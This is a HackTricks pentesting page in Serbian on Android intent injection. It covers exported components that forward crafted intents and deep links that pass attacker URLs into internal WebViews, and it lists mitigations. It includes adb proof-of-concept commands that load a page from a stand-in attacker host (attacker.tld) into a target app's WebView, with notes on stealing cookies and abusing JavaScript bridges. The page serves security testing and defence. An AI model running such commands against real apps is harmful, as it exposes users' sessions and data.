Intent Injection

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Intent injection zloupotrebljava komponente koje prihvataju Intente ili podatke koje kontroliše napadač, a koji se kasnije pretvaraju u Intente. Dva veoma uobičajena obrasca tokom pentestiranja Android aplikacija su:

  • Prosleđivanje kreiranih dodataka izvezenim Aktivnostima/Uslugama/BroadcastReceiver-ima koji se kasnije prosleđuju privilegovanim, neizvezenim komponentama.
  • Aktiviranje izvezenih VIEW/BROWSABLE dubokih linkova koji prosleđuju URL-ove koje kontroliše napadač u interne WebView-ove ili druge osetljive odredišne tačke.

Ako aplikacija izlaže duboki link sa prilagođenim shemom kao što je:

text
myscheme://com.example.app/web?url=<attacker_url>

i primajući Activity prosleđuje url parametar upita u WebView, možete naterati aplikaciju da prikaže proizvoljan udaljeni sadržaj u svom WebView kontekstu.

PoC putem adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS se izvršava unutar WebView profila aplikacije.
  • Ako je JavaScript omogućen (podrazumevano ili zbog pogrešnog redosleda provere), možete enumerisati/koristiti bilo koje izložene @JavascriptInterface objekte, ukrasti WebView kolačiće/lokalnu memoriju i pivotirati.

Pogledajte takođe:

Webview Attacks

Greška u redosledu provere koja omogućava JavaScript

Ponovljena greška je omogućavanje JavaScript-a (ili drugih permisivnih WebView podešavanja) pre nego što se završi konačna URL lista dozvoljenih/verifikacija. Ako rani pomoćnici prihvate vaš duboki link i WebView je prvo konfiguran, vaše konačno učitavanje se dešava sa već omogućеним JavaScript-om čak i ako su kasnije provere pogrešne ili prekasne.

Na šta obratiti pažnju u dekompiliranom kodu:

  • Više pomoćnika koji različito analiziraju/razdvajaju/ponovo grade URL (neusklađena normalizacija).
  • Pozivi getSettings().setJavaScriptEnabled(true) pre poslednje provere dozvoljenih hostova/putanja.
  • Pipeline kao: parse → delimična validacija → konfiguriši WebView → konačna verifikacija → loadUrl.

Mitigacije

  • Kanonizujte jednom i strogo validirajte; neuspeh zatvorite.
  • Omogućite JavaScript samo nakon što sve provere prođu i neposredno pre učitavanja pouzdanog sadržaja.
  • Izbegavajte izlaganje mostova nepouzdanim izvorima.

Druge klasične Intent injekcije

  • startActivity/sendBroadcast koristeći napadačem obezbeđene Intent eksterne koje se kasnije ponovo analiziraju (Intent.parseUri(...)) i izvršavaju.
  • Izvezene proxy komponente koje prosleđuju Intente neizvezenim osetljivim komponentama bez provere dozvola.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks